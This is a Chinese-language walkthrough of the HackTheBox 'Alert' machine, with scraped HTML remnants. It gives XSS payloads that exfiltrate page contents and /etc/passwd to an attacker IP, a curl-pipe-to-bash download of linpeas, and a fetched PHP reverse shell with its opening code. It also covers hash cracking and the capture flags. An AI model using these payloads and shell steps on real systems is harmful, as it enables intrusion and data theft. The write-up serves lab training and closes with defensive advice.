Alert.htb 渗透测试教学文档<\/h1>

1. 信息收集阶段<\/h2>

1.1 初始扫描<\/h3>
使用Nmap进行初始端口扫描：<\/p>
nmap -p- 10.10.11.44 --min-rate 1000<\/span> -sC -sV
<\/span><\/span><\/code><\/pre>扫描结果：<\/p>

22\/tcp: OpenSSH 8.2p1 Ubuntu<\/li>
80\/tcp: Apache httpd 2.4.41 (Ubuntu)<\/li>
12227\/tcp: filtered (未知服务)<\/li>
<\/ul>
1.2 主机名解析<\/h3>
将目标主机名添加到本地hosts文件：<\/p>
echo '10.10.11.44 alert.htb'<\/span> >> \/etc\/hosts
<\/span><\/span><\/code><\/pre>2. Web应用渗透<\/h2>
2.1 XSS漏洞利用<\/h3>
发现网站存在XSS漏洞，可以构造payload获取管理页面内容：<\/p>
<<\/span>script<\/span>><\/span>fetch<\/span>("http:\/\/alert.htb\/index.php?page=contact"<\/span>).then<\/span>(res<\/span>=>res<\/span>.text<\/span>()).then<\/span>(data<\/span>=>fetch<\/span>("http:\/\/10.10.16.6?file="<\/span>+<\/span>encodeURIComponent(data<\/span>)));<<\/span>\/script><\/span>
<\/span><\/span><\/code><\/pre>提交方式：<\/p>
email=1%40gmail.com&message=http%3A%2F%2Falert.htb%2Fvisualizer.php%3Flink_share%3D678a3462ccda42.72581073.md
<\/code><\/pre>
2.2 文件包含测试<\/h3>
尝试LFI漏洞：<\/p>
<<\/span>script<\/span>><\/span>fetch<\/span>("http:\/\/alert.htb\/messages.php?file=etc\/passwd"<\/span>).then<\/span>(res<\/span>=>res<\/span>.text<\/span>()).then<\/span>(data<\/span>=>fetch<\/span>("http:\/\/10.10.16.6?file="<\/span>+<\/span>encodeURIComponent(data<\/span>)));<<\/span>\/script><\/span>
<\/span><\/span><\/code><\/pre>2.3 自动化工具使用<\/h3>
使用AlertShot-htb工具自动化测试：<\/p>
python alts.py
<\/span><\/span><\/code><\/pre>输入反向IP和端口后，可以获取系统文件如\/etc\/passwd<\/p>
3. 凭证获取与破解<\/h2>
3.1 获取.htpasswd文件<\/h3>
使用ffuf进行子域名枚举：<\/p>
ffuf -w \/usr\/share\/seclists\/Discovery\/DNS\/subdomains-top1million-5000.txt -u http:\/\/alert.htb -H "Host:FUZZ.alert.htb"<\/span> -ac
<\/span><\/span><\/code><\/pre>发现statistics子域名后获取.htpasswd文件：<\/p>
\/var\/www\/statistics.alert.htb\/.htpasswd
<\/code><\/pre>
3.2 破解哈希<\/h3>
使用John the Ripper破解MD5加密的哈希：<\/p>
john --wordlist=<\/span>\/usr\/share\/wordlists\/rockyou.txt --format=<\/span>md5crypt-long hash
<\/span><\/span><\/code><\/pre>4. 初始访问<\/h2>
使用获取的凭证通过SSH登录：<\/p>
ssh albert@10.10.11.44
<\/span><\/span><\/code><\/pre>获取user flag：<\/p>
50e1a4a0b90d1af9ad0d813d11fc1203
<\/code><\/pre>
5. 权限提升<\/h2>
5.1 信息收集<\/h3>
运行linpeas.sh进行本地信息收集：<\/p>
curl http:\/\/10.10.16.6\/linpeas.sh|bash
<\/span><\/span><\/code><\/pre>发现：<\/p>

当前用户属于management组<\/li>
\/opt\/website-monitor目录可写<\/li>
<\/ul>
5.2 利用监控服务<\/h3>
检查运行进程：<\/p>
ps -aux
<\/span><\/span><\/code><\/pre>发现website-monitor服务以root权限运行，且会读取config目录下的文件<\/p>
5.3 创建反向shell<\/h3>
上传PHP反向shell脚本(rev.php)到\/opt\/website-monitor\/config目录：<\/p>
wget http:\/\/10.10.16.6\/rev.php
<\/span><\/span><\/code><\/pre>PHP反向shell内容：<\/p>
<?<\/span>php<\/span>
<\/span><\/span>set_time_limit<\/span> (0<\/span>);
<\/span><\/span>$VERSION =<\/span> "1.0"<\/span>;
<\/span><\/span>$ip =<\/span> '10.10.16.6'<\/span>; \/\/ 攻击者IP
<\/span><\/span><\/span><\/span>$port =<\/span> 10011<\/span>; \/\/ 监听端口
<\/span><\/span><\/span><\/span>$chunk_size =<\/span> 1400<\/span>;
<\/span><\/span>$write_a =<\/span> null<\/span>;
<\/span><\/span>$error_a =<\/span> null<\/span>;
<\/span><\/span>$shell =<\/span> 'uname -a; w; id; \/bin\/sh -i'<\/span>;
<\/span><\/span>$daemon =<\/span> 0<\/span>;
<\/span><\/span>$debug =<\/span> 0<\/span>;
<\/span><\/span>\/\/ ... (完整反向shell代码)
<\/span><\/span><\/span><\/code><\/pre>5.4 触发反向shell<\/h3>
通过之前的提交页面触发载荷：<\/p>
email=1%40gmail.com&message=http%3a\/\/127.0.0.1%3a8080\/config\/rev.php
<\/code><\/pre>
5.5 获取root权限<\/h3>
成功获取root shell后，读取root flag：<\/p>
b5f961158dcd6099a11f0947183ccc4b
<\/code><\/pre>
6. 关键总结<\/h2>

通过XSS漏洞获取管理界面访问权限<\/li>
利用LFI漏洞读取系统文件<\/li>
通过子域名枚举发现隐藏的管理界面<\/li>
破解.htpasswd文件获取SSH凭证<\/li>
利用website-monitor服务的配置不当实现权限提升<\/li>
通过上传PHP反向shell获取root权限<\/li>
<\/ol>
7. 防御建议<\/h2>

对用户输入进行严格过滤，防止XSS和LFI漏洞<\/li>
避免在Web目录存放敏感文件如.htpasswd<\/li>
使用强密码并定期更换<\/li>
限制服务运行权限，避免以root运行非必要服务<\/li>
对配置文件目录设置严格的权限控制<\/li>
<\/ol>